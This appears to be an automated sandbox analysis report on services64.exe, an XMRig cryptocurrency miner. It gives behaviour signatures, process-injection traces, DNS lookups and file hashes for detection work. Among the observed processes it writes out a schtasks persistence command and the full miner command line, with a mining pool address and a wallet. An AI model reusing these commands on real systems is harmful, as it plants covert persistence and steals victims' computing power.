Malware Analysis Report

2024-11-16 12:06

Sample ID 240610-t25eaatepn
Target services64.exe
SHA256 14d3c310fd1196bc5ab98bdd88b5728390baf69dd8cb08b2ca61d5541a56d1ba
Tags
xmrig miner
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

14d3c310fd1196bc5ab98bdd88b5728390baf69dd8cb08b2ca61d5541a56d1ba

Threat Level: Known bad

The file services64.exe was found to be: Known bad.

Malicious Activity Summary

xmrig miner

xmrig

XMRig Miner payload

Executes dropped EXE

Suspicious use of SetThreadContext

Unsigned PE

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Uses Task Scheduler COM API

Creates scheduled task(s)

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-10 16:34

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-10 16:34

Reported

2024-06-10 16:41

Platform

win10v2004-20240508-en

Max time kernel

138s

Max time network

148s

Command Line

"C:\Users\Admin\AppData\Local\Temp\services64.exe"

Signatures

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
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N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
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Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\services64.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1444 set thread context of 3616 N/A C:\Windows\System32\conhost.exe C:\Windows\explorer.exe

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\conhost.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\explorer.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\explorer.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2252 wrote to memory of 4172 N/A C:\Users\Admin\AppData\Local\Temp\services64.exe C:\Windows\System32\conhost.exe
PID 2252 wrote to memory of 4172 N/A C:\Users\Admin\AppData\Local\Temp\services64.exe C:\Windows\System32\conhost.exe
PID 2252 wrote to memory of 4172 N/A C:\Users\Admin\AppData\Local\Temp\services64.exe C:\Windows\System32\conhost.exe
PID 4172 wrote to memory of 1992 N/A C:\Windows\System32\conhost.exe C:\Windows\System32\cmd.exe
PID 4172 wrote to memory of 1992 N/A C:\Windows\System32\conhost.exe C:\Windows\System32\cmd.exe
PID 1992 wrote to memory of 1260 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe
PID 1992 wrote to memory of 1260 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe
PID 4172 wrote to memory of 652 N/A C:\Windows\System32\conhost.exe C:\Windows\System32\cmd.exe
PID 4172 wrote to memory of 652 N/A C:\Windows\System32\conhost.exe C:\Windows\System32\cmd.exe
PID 652 wrote to memory of 2496 N/A C:\Windows\System32\cmd.exe C:\Users\Admin\AppData\Roaming\services64.exe
PID 652 wrote to memory of 2496 N/A C:\Windows\System32\cmd.exe C:\Users\Admin\AppData\Roaming\services64.exe
PID 2496 wrote to memory of 1444 N/A C:\Users\Admin\AppData\Roaming\services64.exe C:\Windows\System32\conhost.exe
PID 2496 wrote to memory of 1444 N/A C:\Users\Admin\AppData\Roaming\services64.exe C:\Windows\System32\conhost.exe
PID 2496 wrote to memory of 1444 N/A C:\Users\Admin\AppData\Roaming\services64.exe C:\Windows\System32\conhost.exe
PID 1444 wrote to memory of 3616 N/A C:\Windows\System32\conhost.exe C:\Windows\explorer.exe
PID 1444 wrote to memory of 3616 N/A C:\Windows\System32\conhost.exe C:\Windows\explorer.exe
PID 1444 wrote to memory of 3616 N/A C:\Windows\System32\conhost.exe C:\Windows\explorer.exe
PID 1444 wrote to memory of 3616 N/A C:\Windows\System32\conhost.exe C:\Windows\explorer.exe
PID 1444 wrote to memory of 3616 N/A C:\Windows\System32\conhost.exe C:\Windows\explorer.exe
PID 1444 wrote to memory of 3616 N/A C:\Windows\System32\conhost.exe C:\Windows\explorer.exe
PID 1444 wrote to memory of 3616 N/A C:\Windows\System32\conhost.exe C:\Windows\explorer.exe
PID 1444 wrote to memory of 3616 N/A C:\Windows\System32\conhost.exe C:\Windows\explorer.exe
PID 1444 wrote to memory of 3616 N/A C:\Windows\System32\conhost.exe C:\Windows\explorer.exe
PID 1444 wrote to memory of 3616 N/A C:\Windows\System32\conhost.exe C:\Windows\explorer.exe
PID 1444 wrote to memory of 3616 N/A C:\Windows\System32\conhost.exe C:\Windows\explorer.exe
PID 1444 wrote to memory of 3616 N/A C:\Windows\System32\conhost.exe C:\Windows\explorer.exe
PID 1444 wrote to memory of 3616 N/A C:\Windows\System32\conhost.exe C:\Windows\explorer.exe
PID 1444 wrote to memory of 3616 N/A C:\Windows\System32\conhost.exe C:\Windows\explorer.exe
PID 1444 wrote to memory of 3616 N/A C:\Windows\System32\conhost.exe C:\Windows\explorer.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\services64.exe

"C:\Users\Admin\AppData\Local\Temp\services64.exe"

C:\Windows\System32\conhost.exe

"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"

C:\Windows\System32\cmd.exe

"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"

C:\Windows\system32\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"

C:\Windows\System32\cmd.exe

"cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"

C:\Users\Admin\AppData\Roaming\services64.exe

C:\Users\Admin\AppData\Roaming\services64.exe

C:\Windows\System32\conhost.exe

"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"

C:\Windows\explorer.exe

C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=43aewbs3jpXRwUR4YLHFQmYkGMJAGWobkKCyHX43KwsfZrtc7fUMB2b67Z22rfCiro5hBsFcjYgMtj1F5oovnAUwMzonaHp --pass=x --cpu-max-threads-hint=20 --cinit-idle-wait=5 --cinit-idle-cpu=30 --nicehash

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 pool.hashvault.pro udp
US 8.8.8.8:53 pool.hashvault.pro udp
US 8.8.8.8:53 pool.hashvault.pro udp
US 8.8.8.8:53 pool.hashvault.pro udp
US 8.8.8.8:53 pool.hashvault.pro udp
US 8.8.8.8:53 pool.hashvault.pro udp
US 8.8.8.8:53 pool.hashvault.pro udp

Files

memory/4172-0-0x00000240FC440000-0x00000240FE1F6000-memory.dmp

memory/4172-1-0x00007FFB43413000-0x00007FFB43415000-memory.dmp

memory/4172-2-0x000002409C400000-0x000002409E1B6000-memory.dmp

memory/4172-3-0x00000240FFD10000-0x00000240FFD22000-memory.dmp

memory/4172-4-0x00000240FE540000-0x00000240FE54A000-memory.dmp

memory/4172-5-0x00007FFB43410000-0x00007FFB43ED1000-memory.dmp

memory/4172-6-0x00007FFB43410000-0x00007FFB43ED1000-memory.dmp

memory/4172-10-0x00007FFB43410000-0x00007FFB43ED1000-memory.dmp

C:\Users\Admin\AppData\Roaming\services64.exe

MD5 8763342ef118090e562204d598fa5b99
SHA1 f13aa49036760f50e76596653bfabf52dc0dbb3d
SHA256 14d3c310fd1196bc5ab98bdd88b5728390baf69dd8cb08b2ca61d5541a56d1ba
SHA512 8da435feec499b441bceb2b8eb2579093de725a8feeda30f8d08c7987e21125d7b2e55aa1b4f43d3f5e275a585a15ed80ac5e0af608dfb930254278a98651085

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

MD5 23867f73ff39fa0dfee6cfb5d3d176ab
SHA1 8705a09d38e5f0b034a6f4b4deb5817e312204e1
SHA256 f416e8f8135e0d7a3163860b44fe7ebc8ca0f42e783e870e6ec74e3b6da44f88
SHA512 108dc8ff63b1e222a8a6311af329e8f3376bc356b4946d958a68d8e3d4c54356a3a9851fd689b0a5d4f3f27b47ec03aa0672cee1fba3047079642db0b7603ea1

memory/3616-20-0x0000000002A80000-0x0000000002AA0000-memory.dmp

memory/3616-19-0x0000000140000000-0x0000000140786000-memory.dmp

memory/3616-17-0x0000000140000000-0x0000000140786000-memory.dmp

memory/3616-25-0x0000000140000000-0x0000000140786000-memory.dmp

memory/3616-24-0x0000000140000000-0x0000000140786000-memory.dmp

memory/3616-23-0x0000000140000000-0x0000000140786000-memory.dmp

memory/3616-21-0x0000000140000000-0x0000000140786000-memory.dmp

memory/3616-22-0x0000000140000000-0x0000000140786000-memory.dmp